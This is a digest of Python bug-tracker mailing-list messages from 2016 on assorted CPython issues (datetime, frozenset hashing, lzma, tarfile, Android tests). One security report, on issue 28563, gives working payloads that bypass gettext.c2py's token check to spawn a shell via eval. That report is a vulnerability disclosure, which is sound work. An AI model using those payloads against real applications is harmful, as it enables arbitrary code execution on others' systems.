[issue28565] datetime.strptime %Z doesn't get included in the result

[lilydjwg]

New submission from lilydjwg:

With %z, the result gets a tzinfo, but with %Z, it succeeds but the result is 
without timezone info:

>>> datetime.datetime.strptime('2016-10-31T03:58:24 CST', '%Y-%m-%dT%H:%M:%S 
>>> %Z')
datetime.datetime(2016, 10, 31, 3, 58, 24)
>>> datetime.datetime.strptime('2016-10-31T03:58:24 +0800', '%Y-%m-%dT%H:%M:%S 
>>> %z')
datetime.datetime(2016, 10, 31, 3, 58, 24, 
tzinfo=datetime.timezone(datetime.timedelta(0, 28800)))

So the first one loses infomation (and will result in wrong values if the 
programmer isn't aware of this, and the local timezone is different than the 
one in the string).

--
messages: 279761
nosy: lilydjwg
priority: normal
severity: normal
status: open
title: datetime.strptime %Z doesn't get included in the result
type: behavior

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue26163] FAIL: test_hash_effectiveness (test.test_set.TestFrozenSet)

[Raymond Hettinger]

Changes by Raymond Hettinger :


--
assignee:  -> rhettinger

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue28513] Document zipfile CLI

[Xiang Zhang]

Xiang Zhang added the comment:

LGTM.

--
nosy: +xiang.zhang

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue28128] Improve the warning message for invalid escape sequences

[Emanuel Barry]

Emanuel Barry added the comment:

Thank you Eric. Have you looked at making a new DeprecatedSyntaxWarning 
subclass of both DeprecationWarning and SyntaxWarning? Hopefully that's of some 
help.

I don't see a review link, but from a quick glance this looks good. Thanks :)

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue27517] LZMACompressor and LZMADecompressor raise exceptions if given empty strings twice

[Benjamin Fogle]

Benjamin Fogle added the comment:

Ah, thank you. Good catch. I have reworked the patch to handle both cases.

--
Added file: http://bugs.python.org/file45286/lzma_2.patch

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue28128] Improve the warning message for invalid escape sequences

[Eric V. Smith]

Eric V. Smith added the comment:

Oops, use 28128-3.diff.

--
Added file: http://bugs.python.org/file45285/28128-3.diff

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue28385] Bytes objects should reject all formatting codes with an error message

[Eric V. Smith]

Eric V. Smith added the comment:

I would change the f-string tests. I realize it's a fragile test, but it's the 
only way to test the strings in the exception.

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue21423] concurrent.futures.ThreadPoolExecutor/ProcessPoolExecutor should accept an initializer argument

[Pedro Algarvio]

Pedro Algarvio added the comment:

Would also love to see this in the stdlib soon. My use case is logging 
setup(forward logs to the main process).

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue28128] Improve the warning message for invalid escape sequences

[Eric V. Smith]

Changes by Eric V. Smith :


--
stage: needs patch -> patch review

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue28128] Improve the warning message for invalid escape sequences

[Eric V. Smith]

Changes by Eric V. Smith :


Added file: http://bugs.python.org/file45284/28128-2.diff

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue28128] Improve the warning message for invalid escape sequences

[Eric V. Smith]

Eric V. Smith added the comment:

Here's an updated patch, that fixes some problems with the earlier patch, and 
adds equivalent support for bytes.

HOWEVER, I can't get the warnings machinery to raise a DeprecationWarning that 
would have all of the equivalent information that an actual SyntaxError would 
have. So this patch still raises SyntaxError, but with a better error context.

I'm going to keep plugging away at this, but I'm hoping that someone with more 
experience with warnings using the C-API can chime in with some advice. Given 
the tight deadline, I can use all of the help I can get.

The two functions that need help are decode_bytes_with_escapes and 
decode_unicode_with_escapes in ast.c.

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue21423] concurrent.futures.ThreadPoolExecutor/ProcessPoolExecutor should accept an initializer argument

[Pedro Algarvio]

Changes by Pedro Algarvio :


--
nosy: +Pedro.Algarvio

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue26163] FAIL: test_hash_effectiveness (test.test_set.TestFrozenSet)

[Eric Appelt]

Eric Appelt added the comment:

Ugh... so I think I made a mental error (i.e. confused myself) in the last 
comment. The result looked a bit "to good to be true" and I think that there is 
at least one error in my thinking about the problem.

I tried testing with the width set to 2 and then 1 as a check and noticed that 
even without "widening" the problem was still fixed and the hash distributions 
matched that of pseudorandom numbers.

It turns out that just running the XORed result of the shuffled entry hashes 
through the hashing algorithm gets rid of any bit patterns picked up through 
the process. Currently there is an LCG that is used to disperse patterns but I 
don't think it really helps the problems arising in these tests:

hash = hash * 69069U + 907133923UL;

I'm not attaching any more plots as the result can be described in words, but 
when the LCG applied to the hash after XORing all entries is replaced with a 
hashing of the result using the standard python hashing algorithm, the test 
problem goes away. Specifically, when 128 distinct sets are hashed, the 
resulting hashes have a distribution of unique values across their last 7 
digits matches the distribution from pseudorandom numbers.

The fix is implemented in a small patch that I have attached.

--
keywords: +patch
Added file: http://bugs.python.org/file45283/setobject.c.2.patch

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue28542] document cross compilation

[Xavier de Gaye]

Xavier de Gaye added the comment:

> The ACTION-IF-CROSS-COMPILING parameter of the AC_RUN_IFELSE that checks for 
> getaddrinfo is $ac_cv_buggy_getaddrinfo="no -- configured with 
> --(en|dis)able-ipv6".

Hum, I should have written:
The ACTION-IF-CROSS-COMPILING parameter of the AC_RUN_IFELSE that checks for 
getaddrinfo is $ac_cv_buggy_getaddrinfo="no -- configured with 
--(en|dis)able-ipv6" when configure is run with --disable-ipv6 or --enable-ipv6.

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue28542] document cross compilation

[Xavier de Gaye]

Xavier de Gaye added the comment:

One must also add '--(en|dis)able-ipv6' to configure, otherwise configure exits 
with:
Fatal: You must get working getaddrinfo() function.
 or you can specify "--disable-ipv6".

The ACTION-IF-CROSS-COMPILING parameter of the AC_RUN_IFELSE that checks for 
getaddrinfo is $ac_cv_buggy_getaddrinfo="no -- configured with 
--(en|dis)able-ipv6".

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue28541] Improve test coverage for json library - loading bytes

[Serhiy Storchaka]

Changes by Serhiy Storchaka :


--
assignee:  -> serhiy.storchaka
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue28549] curses: calling addch() with an 1-length str segfaults with ncurses6 compiled with --enable-ext-colors

[Serhiy Storchaka]

Serhiy Storchaka added the comment:

Thank you for testing this.

--
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue28541] Improve test coverage for json library - loading bytes

[Serhiy Storchaka]

Serhiy Storchaka added the comment:

Thank you for your contribution Eric.

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue28541] Improve test coverage for json library - loading bytes

[Roundup Robot]

Roundup Robot added the comment:

New changeset ea4cc65fc0fc by Serhiy Storchaka in branch '3.6':
Issue #28541: Improve test coverage for encoding detection in json library.
https://hg.python.org/cpython/rev/ea4cc65fc0fc

New changeset e9169a8c0692 by Serhiy Storchaka in branch 'default':
Issue #28541: Improve test coverage for encoding detection in json library.
https://hg.python.org/cpython/rev/e9169a8c0692

--
nosy: +python-dev

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue28549] curses: calling addch() with an 1-length str segfaults with ncurses6 compiled with --enable-ext-colors

[Roundup Robot]

Roundup Robot added the comment:

New changeset d06bf822585c by Serhiy Storchaka in branch '3.5':
Issue #28549: Fixed segfault in curses's addch() with ncurses6.
https://hg.python.org/cpython/rev/d06bf822585c

New changeset 382b3d19e9fc by Serhiy Storchaka in branch '3.6':
Issue #28549: Fixed segfault in curses's addch() with ncurses6.
https://hg.python.org/cpython/rev/382b3d19e9fc

New changeset 11cb97de3edd by Serhiy Storchaka in branch 'default':
Issue #28549: Fixed segfault in curses's addch() with ncurses6.
https://hg.python.org/cpython/rev/11cb97de3edd

--
nosy: +python-dev

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue28549] curses: calling addch() with an 1-length str segfaults with ncurses6 compiled with --enable-ext-colors

[Serhiy Storchaka]

Changes by Serhiy Storchaka :


--
assignee:  -> serhiy.storchaka

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue28564] shutil.rmtree is inefficient due to listdir() instead of scandir()

[Serhiy Storchaka]

Changes by Serhiy Storchaka :


--
nosy: +serhiy.storchaka
type:  -> enhancement
versions: +Python 3.7 -Python 3.5

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue28498] tk busy command

[Serhiy Storchaka]

Serhiy Storchaka added the comment:

Ah, yes, this feature is not supported on OSX/Aqua.

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue28564] shutil.rmtree is inefficient due to listdir() instead of scandir()

[Marian Beermann]

New submission from Marian Beermann:

The use of os.listdir severely limits the speed of this function on
anything except solid-state drives.

Using the new-in-Python 3.5 os.scandir should eliminate this
bottleneck.

--
components: Library (Lib)
messages: 279745
nosy: enkore
priority: normal
severity: normal
status: open
title: shutil.rmtree is inefficient due to listdir() instead of scandir()
versions: Python 3.5

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue26937] the chown() method of the tarfile.TarFile class fails on Android

[Xavier de Gaye]

Xavier de Gaye added the comment:

The chown() method of the tarfile.TarFile class does not attempt to do a chown 
when pwd is None, even when numeric_owner is True, and although an attempt is 
made to fall back to tarinfo.gid when getgrnam() fails, or to tarinfo.uid when 
getgrnam() fails, nothing is done if only one of the grp or pwd modules fails 
on import.

This new patch is similar to the previous one and is more explicit.

--
assignee:  -> xdegaye
components:  -Cross-Build
stage:  -> patch review
title: android: test_tarfile fails -> the chown() method of the tarfile.TarFile 
class fails on Android
versions: +Python 3.7
Added file: http://bugs.python.org/file45282/pwd_grp_2.patch

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue26163] FAIL: test_hash_effectiveness (test.test_set.TestFrozenSet)

[Eric Appelt]

Eric Appelt added the comment:

I spent some time looking at the Objects/setobject.c code where the hashing 
scheme for frozensets, which essentially works by XOR-ing together the hashes 
from all its entries. Significant care is taken to shuffle bits at various 
stages, and the algorithm seems to be well thought out. My own attempts to 
change constants or add in reshufflings either didn't help the collision 
statistics or just made things worse. I think that there is something of a 
fundamental limitation here due to information loss in XOR, and other fast, 
commutative bitwise operations (i.e. AND, OR) are well known to be much worse.

I did stumble on a 2006 paper by Boneh and Boyen [1] which looked at a 
potentially related problem of trying to combine two different hashing 
functions to improve collision resistance and found that there was no way to do 
this with fewer bits than just concatenating the hashes. The present ticket is 
more a problem of combining hashes from the same function in an 
order-independent way and may be completely unrelated. However, I imagine that 
concatenation followed by rehashing the result would remove the loss due to 
XORing unlucky choices of hashes.

Concatenating everything seemed obviously too slow and/or unacceptable in terms 
of memory use, but I thought of a compromise where I would construct an array 
of 4 hash values, initialized to zero, and for each entry I would select an 
array index based on a reshuffling of the bits, and XOR that particular entry 
into the chosen index. This results in a hash that is 4x wider than the 
standard size that reduces the information loss incurred from XOR. This wide 
hash can then be hashed down to a normal sized hash.

I implemented this algorithm and tested it using the same procedure as before. 
Specifically, all frozensets for every possible combination (128) of the 
letters abcdefg as single character strings are hashed, and the last 7 bits of 
each of their hashes are compared to see how many unique 7-bit patterns are 
produced. This is done for PYTHONHASHSEED values from 1 to 1 to build a 
distribution. The distribution is compared to a similar distribution 
constructed from pseudorandom numbers for comparison.

Unlike the current hashing algorithm for frozensets, and much like the result 
from hashes of strings, the result of this new "wide4" algorithm appears to be 
nearly ideal. The results are plotted in "frozenset_string_n7_10k_wide4.png" as 
attached.

I will follow this up with a patch for the algorithm as soon as I run the 
complete test suite and clean up.

Another option if the current algorithm is considered good enough is to alter 
the current test to retry on failure if the power set of letters 'abcdefg...' 
fails by shifting one letter and trying again, perhaps ensuring that 4/5 tests 
pass. This ought to greatly reduce the sporadic build failures.

[1] http://ai.stanford.edu/~xb/crypto06b/blackboxhash.pdf

--
Added file: http://bugs.python.org/file45281/frozenset_string_n7_10k_wide4.png

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue28553] int.to_bytes docs logic error

[Serhiy Storchaka]

Changes by Serhiy Storchaka :


--
nosy: +mark.dickinson

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue28385] Bytes objects should reject all formatting codes with an error message

[Serhiy Storchaka]

Serhiy Storchaka added the comment:

What is better?

1. Replace "unsupported format string passed to" back to "non-empty format 
string passed to " in generated error message? Note that full error message is 
changed in any case, this is the purpose of this issue.

2. Change the pattern "non-empty" to "unsupported" in f-string tests. Or to 
other part of new error message. It may be changed again in future.

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue28449] tarfile.open(mode = 'r:*', ignore_zeros = True) has 50% chance failed to open compressed tars?

[Serhiy Storchaka]

Changes by Serhiy Storchaka :


--
assignee:  -> serhiy.storchaka
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue28553] int.to_bytes docs logic error

[INADA Naoki]

INADA Naoki added the comment:

Make sense.

--
keywords: +easy, patch
nosy: +inada.naoki
stage:  -> commit review
versions:  -Python 3.3, Python 3.4
Added file: http://bugs.python.org/file45280/28553.patch

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue28449] tarfile.open(mode = 'r:*', ignore_zeros = True) has 50% chance failed to open compressed tars?

[Roundup Robot]

Roundup Robot added the comment:

New changeset f108e063e299 by Serhiy Storchaka in branch '3.5':
Issue #28449: tarfile.open() with mode "r" or "r:" now tries to open a tar
https://hg.python.org/cpython/rev/f108e063e299

New changeset e2dd0f48e643 by Serhiy Storchaka in branch '2.7':
Issue #28449: tarfile.open() with mode "r" or "r:" now tries to open a tar
https://hg.python.org/cpython/rev/e2dd0f48e643

New changeset de8e83262644 by Serhiy Storchaka in branch '3.6':
Issue #28449: tarfile.open() with mode "r" or "r:" now tries to open a tar
https://hg.python.org/cpython/rev/de8e83262644

New changeset 220c70519958 by Serhiy Storchaka in branch 'default':
Issue #28449: tarfile.open() with mode "r" or "r:" now tries to open a tar
https://hg.python.org/cpython/rev/220c70519958

--
nosy: +python-dev

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue28385] Bytes objects should reject all formatting codes with an error message

[Ned Deily]

Ned Deily added the comment:

Buildbots are failing:

==
FAIL: test_errors (test.test_fstring.TestCase) (str="f'{(lambda: 0):x}'")
--
TypeError: unsupported format string passed to function.__format__

During handling of the above exception, another exception occurred:

Traceback (most recent call last):
  File 
"/root/buildarea/3.6.angelico-debian-amd64/build/Lib/test/test_fstring.py", 
line 20, in assertAllRaise
eval(str)
AssertionError: "non-empty" does not match "unsupported format string passed to 
function.__format__"

==
FAIL: test_errors (test.test_fstring.TestCase) (str="f'{(0,):x}'")
--
TypeError: unsupported format string passed to tuple.__format__

During handling of the above exception, another exception occurred:

Traceback (most recent call last):
  File 
"/root/buildarea/3.6.angelico-debian-amd64/build/Lib/test/test_fstring.py", 
line 20, in assertAllRaise
eval(str)
AssertionError: "non-empty" does not match "unsupported format string passed to 
tuple.__format__"

--
Ran 48 tests in 1.389s

--
nosy: +ned.deily

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue28498] tk busy command

[Ned Deily]

Ned Deily added the comment:

With ActiveState 8.6.4.1 (the most recent version available) on macOS:

==
ERROR: test_tk_busy (tkinter.test.test_tkinter.test_misc.MiscTest)
--
Traceback (most recent call last):
  File 
"/py/dev/36/root/fwd_macports/Library/Frameworks/pytest_10.12.framework/Versions/3.6/lib/python3.6/tkinter/test/test_tkinter/test_misc.py",
 line 33, in test_tk_busy
f.tk_busy_hold(cursor='gumby')
  File 
"/py/dev/36/root/fwd_macports/Library/Frameworks/pytest_10.12.framework/Versions/3.6/lib/python3.6/tkinter/__init__.py",
 line 849, in tk_busy_hold
self.tk.call('tk', 'busy', 'hold', self._w, *self._options(kw))
_tkinter.TclError: unknown option "-cursor"

--

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue28563] Arbitrary code execution in gettext.c2py

[Serhiy Storchaka]

Changes by Serhiy Storchaka :


--
nosy: +serhiy.storchaka
priority: normal -> high

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue27517] LZMACompressor and LZMADecompressor raise exceptions if given empty strings twice

[Serhiy Storchaka]

Serhiy Storchaka added the comment:

Thank you for your report and patch Benjamin. Seems your patch fixes the 
problem in default case. But the compressor still fails with the raw format.

>>> import lzma
>>> FILTERS_RAW_4 = [{"id": lzma.FILTER_DELTA, "dist": 4},
...  {"id": lzma.FILTER_X86, "start_offset": 0x40},
...  {"id": lzma.FILTER_LZMA2, "preset": 4, "lc": 2}]
>>> c = lzma.LZMACompressor(lzma.FORMAT_RAW, filters=FILTERS_RAW_4)
>>> c.compress(b'')
b''
>>> c.compress(b'')
Traceback (most recent call last):
  File "", line 1, in 
_lzma.LZMAError: Insufficient buffer space

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue28385] Bytes objects should reject all formatting codes with an error message

[Roundup Robot]

Roundup Robot added the comment:

New changeset 92cae79fa5d9 by Serhiy Storchaka in branch '3.5':
Issue #28385: An error message when non-empty format spec is passed to
https://hg.python.org/cpython/rev/92cae79fa5d9

New changeset 0a985f7c6731 by Serhiy Storchaka in branch '3.6':
Issue #28385: An error message when non-empty format spec is passed to
https://hg.python.org/cpython/rev/0a985f7c6731

New changeset 6e8183abcc35 by Serhiy Storchaka in branch 'default':
Issue #28385: An error message when non-empty format spec is passed to
https://hg.python.org/cpython/rev/6e8183abcc35

--
nosy: +python-dev

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue28128] Improve the warning message for invalid escape sequences

[Eric V. Smith]

Changes by Eric V. Smith :


--
assignee:  -> eric.smith

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue28385] Bytes objects should reject all formatting codes with an error message

[Serhiy Storchaka]

Changes by Serhiy Storchaka :


--
assignee:  -> serhiy.storchaka

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue28563] Arbitrary code execution in gettext.c2py

[SilentGhost]

Changes by SilentGhost :


--
nosy: +loewis

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue23262] webbrowser module broken with Firefox 36+

[Roundup Robot]

Roundup Robot added the comment:

New changeset dacb52577c1c by Serhiy Storchaka in branch '3.5':
Issue #23262: The webbrowser module now supports Firefox 36+ and derived
https://hg.python.org/cpython/rev/dacb52577c1c

New changeset f1abc92a756a by Serhiy Storchaka in branch '3.6':
- Issue #23262: The webbrowser module now supports Firefox 36+ and derived
https://hg.python.org/cpython/rev/f1abc92a756a

New changeset cade42bd0ee0 by Serhiy Storchaka in branch 'default':
Issue #23262: The webbrowser module now supports Firefox 36+ and derived
https://hg.python.org/cpython/rev/cade42bd0ee0

--
nosy: +python-dev

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue27517] LZMACompressor and LZMADecompressor raise exceptions if given empty strings twice

[Serhiy Storchaka]

Changes by Serhiy Storchaka :


--
assignee:  -> serhiy.storchaka

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue23262] webbrowser module broken with Firefox 36+

[Serhiy Storchaka]

Changes by Serhiy Storchaka :


--
assignee:  -> serhiy.storchaka

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue28513] Document zipfile CLI

[Serhiy Storchaka]

Changes by Serhiy Storchaka :


--
nosy: +martin.panter

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue28563] Arbitrary code execution in gettext.c2py

[Carl Ekerot]

New submission from Carl Ekerot:

The c2py-function in the gettext module is seriously flawed in many ways due
to its use of eval to create a plural function:

   return eval('lambda n: int(%s)' % plural)

My first discovery was that nothing prevents an input plural string that
resembles a function call:

   gettext.c2py("n()")(lambda: os.system("sh"))

This is of course a low risk bug, since it requires control of both the plural
function string and the argument.

Gaining arbitrary code execution using only the plural function string requires
that the security checks are bypassed. The security checks utilize the tokenize
module and makes sure that no NAME-tokens that are not "n" exist in the string.
However, it does not check if the parser succeeds without any token.ERRORTOKEN
being present. Hence, the following input will pass the security checks:

   gettext.c2py( '"(eval(foo) && ""'  )(0)

   > 1 gettext.c2py( '"(eval(foo) && ""'  )(0)
   gettext.pyc in (n)
   NameError: global name 'foo' is not defined

It will pass since it recognizes the entire input as a STRING token, and
subsequently fails with an ERRORTOKEN.

Passing a string in the argument to eval will however break the exploit since
the parser will read the start-of-string in the eval argument as end-of-string,
and the eval argument will be read as a NAME-token.

Instead of passing a string to eval, we can build a string from characters in
the docstrings available in the context of the gettext module:

   gettext.c2py('"(eval('
   'os.__doc__[152:155] + ' # os.
   'os.__doc__[46:52] + '   # system
   'os.__doc__[318] + ' # (
   'os.__doc__[55] + '  # '
   'os.__doc__[10] + '  # s
   'os.__doc__[42] + '  # h
   'os.__doc__[55] + '  # '
   'os.__doc__[329]'# )
   ') && ""')(0)

This will successfully spawn a shell in Python 2.7.11.

Bonus: With the new string interpolation in Python 3.7, exploiting gettext.c2py
becomes trivial:

   gettext.c2py('f"{os.system(\'sh\')}"')(0)

The tokenizer will recognize the entire format-string as just a string, thus
bypassing the security checks.

To mitigate these vulnerabilities, eval should be avoided by implementing a
custom parser for the gettext plural function DSL.

--
components: Library (Lib)
messages: 279734
nosy: Carl Ekerot
priority: normal
severity: normal
status: open
title: Arbitrary code execution in gettext.c2py
type: security
versions: Python 2.7, Python 3.3, Python 3.4, Python 3.5, Python 3.6, Python 3.7

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue26865] Meta-issue: support of the android platform

[Xavier de Gaye]

Xavier de Gaye added the comment:

issue #28562: test_asyncio fails on Android upon calling getaddrinfo()

--
dependencies: +test_asyncio fails on Android upon calling getaddrinfo()

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue28293] Don't completely dump the regex cache when full

[Serhiy Storchaka]

Changes by Serhiy Storchaka :


--
versions:  -Python 3.6

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue27939] Tkinter mainloop raises when setting the value of ttk.LabeledScale

[Serhiy Storchaka]

Changes by Serhiy Storchaka :


--
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue27939] Tkinter mainloop raises when setting the value of ttk.LabeledScale

[Roundup Robot]

Roundup Robot added the comment:

New changeset 394b2b4da150 by Serhiy Storchaka in branch '3.5':
Issue #27939: Fixed bugs in tkinter.ttk.LabeledScale and tkinter.Scale caused
https://hg.python.org/cpython/rev/394b2b4da150

New changeset 91884d043fdc by Serhiy Storchaka in branch '3.6':
Issue #27939: Fixed bugs in tkinter.ttk.LabeledScale and tkinter.Scale caused
https://hg.python.org/cpython/rev/91884d043fdc

New changeset 9e3931aa1ff0 by Serhiy Storchaka in branch 'default':
Issue #27939: Fixed bugs in tkinter.ttk.LabeledScale and tkinter.Scale caused
https://hg.python.org/cpython/rev/9e3931aa1ff0

--
nosy: +python-dev

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue28562] test_asyncio fails on Android upon calling getaddrinfo()

[Xavier de Gaye]

New submission from Xavier de Gaye:

The error:
==
ERROR: test_create_connection_service_name 
(test.test_asyncio.test_base_events.BaseEventLoopWithSelectorTests)
--
Traceback (most recent call last):
  File "/sdcard/org.bitbucket.pyona/lib/python3.7/unittest/mock.py", line 1179, 
in patched
return func(*args, **keywargs)
  File 
"/sdcard/org.bitbucket.pyona/lib/python3.7/test/test_asyncio/test_base_events.py",
 line 1209, in test_create_connection_service_name
t, p = self.loop.run_until_complete(coro)
  File "/sdcard/org.bitbucket.pyona/lib/python3.7/asyncio/base_events.py", line 
449, in run_until_complete
return future.result()
  File 
"/sdcard/org.bitbucket.pyona/lib/python3.7/concurrent/futures/thread.py", line 
55, in run
result = self.fn(*self.args, **self.kwargs)
  File "/sdcard/org.bitbucket.pyona/lib/python3.7/socket.py", line 743, in 
getaddrinfo
for res in _socket.getaddrinfo(host, port, family, type, proto, flags):
socket.gaierror: [Errno 9] servname not supported for ai_socktype


The same error occurs also in issue 26936.
msg266362 lists the conditions under which getaddrinfo() fails on Android.

With this patch, the test succeeds on both Android API levels 21 and 23 (there 
is no level 22).

--
components: Tests
files: getaddrinfo.patch
keywords: patch
messages: 279731
nosy: xdegaye, yselivanov
priority: normal
severity: normal
stage: patch review
status: open
title: test_asyncio fails on Android upon calling getaddrinfo()
type: behavior
versions: Python 3.6, Python 3.7
Added file: http://bugs.python.org/file45279/getaddrinfo.patch

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue26936] android: test_socket fails

[Xavier de Gaye]

Xavier de Gaye added the comment:

This patch simply skips the statements that fail on Android.

--
assignee:  -> xdegaye
components: +Tests -Cross-Build, Library (Lib)
stage:  -> patch review
versions: +Python 3.7
Added file: http://bugs.python.org/file45278/test_socket.patch

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue28561] Report surrogate characters range in utf8_encoder

[Serhiy Storchaka]

Serhiy Storchaka added the comment:

Thanks Xiang. Yes, this all is follow up issue25267.

--
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue28561] Report surrogate characters range in utf8_encoder

[Roundup Robot]

Roundup Robot added the comment:

New changeset 542065b03c10 by Serhiy Storchaka in branch '3.6':
Issue #28561: Clean up UTF-8 encoder: remove dead code, update comments, etc.
https://hg.python.org/cpython/rev/542065b03c10

